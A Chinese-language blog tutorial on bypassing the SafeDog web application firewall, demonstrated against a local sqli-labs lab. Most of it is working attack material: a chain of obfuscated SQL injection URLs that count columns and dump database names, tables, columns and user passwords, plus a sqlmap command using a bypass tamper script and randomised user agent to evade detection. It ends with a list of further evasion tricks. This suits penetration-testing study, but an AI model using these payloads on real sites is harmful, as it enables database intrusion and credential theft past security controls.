WAF Bypass 介紹與實戰

2023-02-17 06:00:49

前言

WAF是英文"Web Application Firewall"的縮寫,中文意思是"Web應用防火牆",也稱為"網站應用級入侵防禦系統"。WAF是集WEB防護、網頁保護、負載均衡、應用交付於一體的WEB整體安全防護裝置
WAF從形態上可分為硬體WAF、WAF防護軟體和雲WAF
以下僅介紹軟體WAF及其簡單繞過:安全狗

安全狗環境安裝

就以安全狗為例進行安裝並測試

以管理員身份開啟cmd
cd C:\phpstudy\PHPTutorial\Apache\bin  //進入phpstudy的apache目錄的bin目錄

httpd.exe -k install -n apahce2.4

cd C:\phpstudy\PHPTutorial\MySQL\bin  //進入phpstudy的mysql目錄的bin目錄

mysqld --install mysql

一、Burp配合進行ByPass

使用burp抓包爆破關鍵字進行繞過測試

由於union與select聯合用時會出現waf攔截,有時候單個出現union或者select都會出現攔截
我們將union和select之間的空格進行替換字元繞過waf,對標記的字元進行替換爆破,檢視到正常顯示字元的長度則繞過成功

以下繞過均採用burp配合手工進行猜解爆破

SQL隱碼攻擊的Waf ByPass

以下以sqli-labs為例進行繞過測試

判斷欄位數
http://192.168.31.198/sqli-labs/Less-1/?id=1%27%20order/*%2f%2f!*/by%204%23

聯合查詢顯示位
http://192.168.31.198/sqli-labs/Less-1/?id=-1%27%20/*!10496union*//*%2f-*!%2f*/select/*%2f%2f!*/1,2,3%23

查資料庫
http://192.168.31.198/sqli-labs/Less-1/?id=-1%27%20/*!10496union*//*%2f-*!%2f*/select/*%2f%2f!*/1,database/*%2f%2f!*/(/*%2f%2f!*/),3%23

查表
http://192.168.31.198/sqli-labs/Less-1/?id=-1%27%20/*!10496union*//*%2f-*!%2f*/select/*%2f%2f!*/1,2,group_concat(table_name)from/*!--+/*%0A(information_schema.tables)*//*%2f%2f!*/where/*%2f%2f!*/table_schema=%22security%22%23

查欄位
http://192.168.31.198/sqli-labs/Less-1/?id=-1%27%20/*!10496union*//*%2f-*!%2f*/select/*%2f%2f!*/1,2,group_concat(column_name)from/*!--+/*%0A(information_schema.columns)*//*%2f%2f!*/where/*%2f%2f!*/table_schema=%22security%22%20and/*%2f-*!%2f*/table_name=%22users%22%23

查資料
http://192.168.31.198/sqli-labs/Less-1/?id=-1%27%20/*!10496union*//*%2f-*!%2f*/select/*%2f%2f!*/1,group_concat(username),group_concat(password)from%20users%23

二、自動化指令碼測試繞過

將繞過指令碼新增進sqlmap自帶指令碼tamper庫裡,並使用sqlmap自動化掃描測試

sqlmap -u "http://192.168.31.198/sqli-labs/Less-1/?id=1" --tamper=anquangou --random-agent

注:--tamper=anquangou 使用的是繞過安全狗的指令碼
    --random-agent 開啟隨機ua頭是因為安全狗會自動開啟識別自動化探測器如sqlmap或者其他盲注自動化探測器等,然後將其攔截,開啟隨機ua頭是為了繞過ua頭為sqlmap不被攔截

總結

1.在正常繞過市面上的waf都是這些基礎waf的變種,可以利用手工配合burp猜解waf繞過關鍵字
2.可以利用伺服器的特性如 :替換為%u0053特殊字元,替換傳參方式紊亂系統傳參等
3.可以利用應用層方面的特性如:簡單的大小寫繞過,雙寫關鍵字,url多重編碼,引數汙染等
4.可以利用WAF層特性如:在開發雲WAF、軟體WAF、硬體WAF中出現邏輯問題(對00截斷無法獲取識別%00後面的字元從而繞過)、效能問題(頻繁使用burp爆破、條件競爭會出現waf效能下降無法識別攔截)
5.可以利用資料庫特性如:資料庫語句可以將空格替換成換行符,或者其他可繞過字元,像SQL語句的五大位置可繞過區域
6.可以利用已寫好的自動化測試指令碼,採用sqlmap自動化掃描測試